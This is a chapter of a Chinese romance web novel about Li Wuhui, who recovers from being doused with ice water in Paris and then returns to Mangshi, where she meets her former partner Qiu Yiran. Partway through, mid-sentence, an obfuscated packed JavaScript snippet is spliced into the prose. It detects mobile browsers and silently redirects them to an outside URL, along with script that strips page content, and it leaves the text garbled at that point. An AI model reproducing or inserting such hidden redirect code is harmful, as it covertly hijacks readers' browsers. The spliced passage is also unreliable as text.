魏停看到她的脸色,以为她情绪不对,从她手中拿走杂志,再次出声安慰,“这个人有很多次前科了,不是单单针对你,你别多想。” 黎无回没有回话。 她其实不太在意被泼的事情,她来巴黎一共已经九年,遭受的恶意远不止这个程度,更加不会轻易被这种事吓到。 她只是在想自己当时为什么会这么说,于是她努力回忆这篇采访当天的情景,终于恍然大悟。 当时她对外宣称——任何人,任何事,都是需要Move on的。 而实际上—— 在那个冗长无聊的采访过程中,她紧紧揣着大衣兜中的手机,用了极大的力气提醒自己集中注意力。 因为三个小时后她就要飞往国内。 那时她尽量控制住自己的惶恐和茫然,掐着掌心让自己维持冷静。 那是时隔三年再次得知邱一燃的消息,她几乎无法呼吸,甚至觉得自己要将身体内的某个器官吐出来才罢休。 于是当采访者问她——有没有对Ian那件事,完全Move on? 她也仅仅只可以再吐出两个字——快了。 的确快了。 这个姓名再次在她面前被提及,她将自己的掌心都掐红,恍然间只想到一件事—— 因为我快要找到她了。 21.「黎无回」 黎无回很想要联系邱一燃。 她想用不耐的语气告知她—— 有个人在大雪天泼了一桶冷水在我头上,她对外表现成你的疯狂迷恋者,所以你必须需要对此负责。 她想把今夜所有怨气都发泄在邱一燃身上,包括这场聚会的虚无,以及这桶冰水的刺骨。 但黎无回还是没有。 因为有时候她也会想—— 对她而言,邱一燃像篝火,是她每次在察觉到寒冷和孤独时,都会想要找去的地方。 但她自己却是一盆零度以下的冰水,除了浇灭那盆篝火以外,没有任何效用。 于是她还是回到她在巴黎的住处,酒店所处位置很繁华,几乎不用开灯,套间内就被窗外华灯映得灯火通明。 冯鱼赶过来时,套间内仍然没有开灯—— 黎无回还是穿那袭在聚会上的鎏金吊带开叉礼服,额边的两绺头发还是湿着,半湿不干地贴在脸庞边。 高跟鞋被胡乱扔在门边,她赤着脚,背骨微微凸起,正在给鱼缸里的金鱼喂食。 冯鱼松了口气,走过去, “你没事吧——” 话说了一半突然滞住。 因为冯鱼走近才发现——鱼缸里那两条亲吻鱼貌似已经死了。 刹那间冯鱼说不出话来。 她盯着黎无回被水光映着的侧脸,良久,才说出一句,“鱼好像已经死了。” “是吗?”黎无回像是被惊醒,看了眼在鱼缸中飘荡的鱼,蹙了蹙眉。 刚想说什么。 鱼缸里的两条鱼又翻滚过来,慢吞吞地游动起来。 “是你看错了。”黎无回眉心舒展开来。 然后她就懒懒地将手中鱼食放下,沉吟了好一会,才像是如梦初醒地在客厅翻找,“我手机呢?” 冯鱼眼尖,把手机找到递给她,然后又把全屋的灯光打开,看清那其中正游动的鱼,这才吐出胸口憋闷的气, “鱼吓我一跳,你也吓我一跳,我以为你刚刚疯了。” 黎无回被刺得挡了下眼。 耳边电话打通,她很随意地撩了下濡湿的发丝,对电话那边负责管理的人说了句“它们游得很慢”。 然后挂了电话,又抬眼看向冯鱼,“一桶冰水而已,不至于。” “是,确实不该这么想。”冯鱼拍拍胸口,“这几年你遇到的疯子多了去了,更严重的都有,我还真没担心你。” 黎无回没有回答,像是注意力已经被鱼缸中的两条鱼吸走。 “那边怎么说?”冯鱼在她旁边蹲下来,“这两条又还能活多久?” “我再试试。”黎无回漫不经心地说,“也许可以活很久。” 冯鱼叹了口气, “其实我不明白你为什么执意要养鱼,养猫养狗不好吗,情绪价值还高,陪你的时间还比鱼长多了……” “因为她很会养。” “什么?”冯鱼错愕。 一时之间她没想起黎无回口中的“她”到底是谁。 直到黎无回终于侧头,望向她,一字一句地说, “因为邱一燃很会养。” “你……”冯鱼欲言又止。 她没想过,竟然真的又是因为邱一燃。 她不知道,黎无回到底还要因为这个人让自己变得多痛苦。 “需要我提醒你吗?”黎无回察觉到冯鱼的踌躇, “她过去是你的偶像。” “早就不是了。”冯鱼抱着膝盖叹气,“在她和你在一起之后。” “为什么?”黎无回不是很理解冯鱼的脑回路,那个时候邱一燃明明还没有跌入谷底。 “因为……”冯鱼沉思片刻,像是在组织语言, “因为那个时候太近了,她和我想象中的不一样,所以祛魅了吧。” 黎无回了然,“所以你想象中她会是什么样的人?” “我以为她会是很高傲的一个人。”冯鱼想了会,说, “但没想到……她会是,怎么说呢,哦,乖,我觉得她太乖了,但好像也不完全是,大部分时候也挺沉稳的,怎么说呢,就是感觉完全不像比你年长两岁。” 黎无回终于明白冯鱼的意思——其实她时常也有这种感觉,邱一燃这个人真的很神奇。 在遇见这个人之前,她只觉得这个人年少成名,拥有无数年轻人做梦也梦不到的名和利,是很遥远很单薄的一个人。 但接触得越深,她就越发觉得这个人很奇妙——每半个月跑一次马拉松,系鞋带的时候会谨慎小心地检查两遍,会在吹完萨克斯后很害羞地让在场人不要谈论,会很单纯地相信别人,会在偷看她时觉得不好意思,焦虑纠结的时候喜欢撕手上的倒刺,甚至很会养鱼…… 连邱一燃养的鱼都可以活很久。 其实不能算“乖”,也很难被单个词轻易概括。 但印象中邱一燃就是这样一个人,明明最不应该是被苦难击垮的一个人,却还是在她眼皮子底下,因为被痛苦击垮,活生生变成另一个人。 以至于黎无回至今都无法相信,也无法接受这件事。 她甚至不止一次在深夜里想过—— 如果能让邱一燃重新回到巴黎,她宁愿断腿离开的那一个是自己。 - 冯鱼离开前,黎无回接到国内打来的一通电话。 是茫市酒店的工作人员——询问她是否有物品遗留在了酒店。 经过提醒,黎无回这才想起,自己的酒壶的确忘在了酒店。 工作人员询问是否需要给她寄送过来。 黎无回思考片刻,当着冯鱼的面说,“还是我过去拿吧。” 工作人员像是有些意外,再次向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14726752|155927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她强调,“女士,我们完全可以提供寄送服务……” “嗯,我知道。”黎无回说,“但我接下来的行程还没有定,所以我不知道要寄送到哪个住址。” 工作人员明白了她的意思,没有再强调,只跟她约定了时间,就挂断了电话。 之后黎无回订了张回国的机票,把手机扔到沙发上,便看到冯鱼双眼瞪大的表情。 “你还不回去?”她问冯鱼。 “这个酒壶,”冯鱼没理她,“该不会是你自己故意留在那里的吧?” “没有。”黎无回很利落地否认,“我很需要我的酒壶,从来不会轻易丢弃它。” 冯鱼直勾勾地盯着她。 黎无回低了下眼,轻声补了一句, “所以我必须亲自将它找回来。” - 再次来到茫市,已经是二零二五年的事情。但这次令人出乎意料,因为黎无回从高铁站内走出来,就看见了邱一燃—— 这天阳光充足,邱一燃穿了件沙漠棕色外套,长度到脚踝,看起来很厚重,戴一条和她们初次见面那天很像的绿格纹围巾。 她很瘦,骨架很轻,所以看起来很像要被这件外套压垮。 但她手里还牵着个三四岁的小孩。 像是走失孩童。 因为邱一燃正在很焦急,也很茫然地,带这位走失孩童寻找家长。 年初的高铁站人来人往,嘈杂得像蚂蚁啃食巨木。 邱一燃十分艰难地从这些人群中挤过去,走进高铁站,护着自己手中紧紧牵着的小孩,询问了一个又一个人。 最后像是没有办法,只能蹲下来—— 和哭闹着的走失小孩平视,然后从自己口袋中掏出颗棒棒糖,软言软语地哄着。 等哄好了。 哭声小了。 邱一燃如释重负,找出手帕来给小孩擦了擦脸,擤了擤鼻涕,费力地撑着腿站起来。 也就是在这个时候—— 人群中冲出来个面露急切的家长,跑到邱一燃面前连忙鞠躬。 确认过几句后,走失孩童被家长牵走,笑嘻嘻地咬着棒棒糖,回头冲邱一燃挥手。 重重人影中陡然只剩邱一燃自己。 高铁站外人声鼎沸,面孔茂密。无数人经过她,穿过她。 邱一燃站在原地。 仰头,去看高铁站外屏幕上的红色荧光字体,那里有好几个会经过省内机场城市的班次。 但她很久都没有移动,连背影都很薄,像是随时会被折断。 她自己变成下一个走失掉的人。 因为她不知道黎无回就站在她身后。 直到黎无回决定朝她走过去。 因为黎无回有着某种确定的预感—— 她之所以徘徊在这里,是因为在等她,为了她们离婚的事情。